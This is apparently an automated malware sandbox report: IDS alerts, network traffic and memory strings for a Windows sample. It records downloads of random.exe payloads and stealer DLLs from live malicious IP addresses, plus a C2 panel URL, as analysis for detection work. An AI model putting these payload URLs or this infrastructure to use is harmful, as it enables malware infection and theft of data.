Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50379 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50354 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50382 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50383 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50385 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50386 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50388 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50390 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50392 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50394 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50381 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50397 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003CE0C0 recv,recv,recv,recv,

0_2_003CE0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=GUE5t8uMtFJcYASq1734538118 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16

Source: firefox.exe, 00000024.00000002.3041968406.0000024168603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3041968406.0000024168603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3041968406.0000024168603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: lossekniyyt.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click

Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 3275f9fb1e.exe, 00000010.00000003.3297149891.00000000014E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exet
Source: 3275f9fb1e.exe, 00000010.00000003.3293769711.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 3275f9fb1e.exe, 00000010.00000003.3296599947.00000000014E5000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3296992624.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeEk
Source: 3275f9fb1e.exe, 00000010.00000003.3293769711.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeO
Source: 3275f9fb1e.exe, 00000010.00000003.3293769711.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeedE
Source: 3275f9fb1e.exe, 00000010.00000003.3293769711.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 3275f9fb1e.exe, 00000010.00000003.3293769711.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exevE
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp, 7847e34378.exe, 0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlle
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp, 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpRo$?
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpRx
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phper
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfxv
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp3I
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/j
Source: 7847e34378.exe, 0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206ProgramFiles
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpser
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
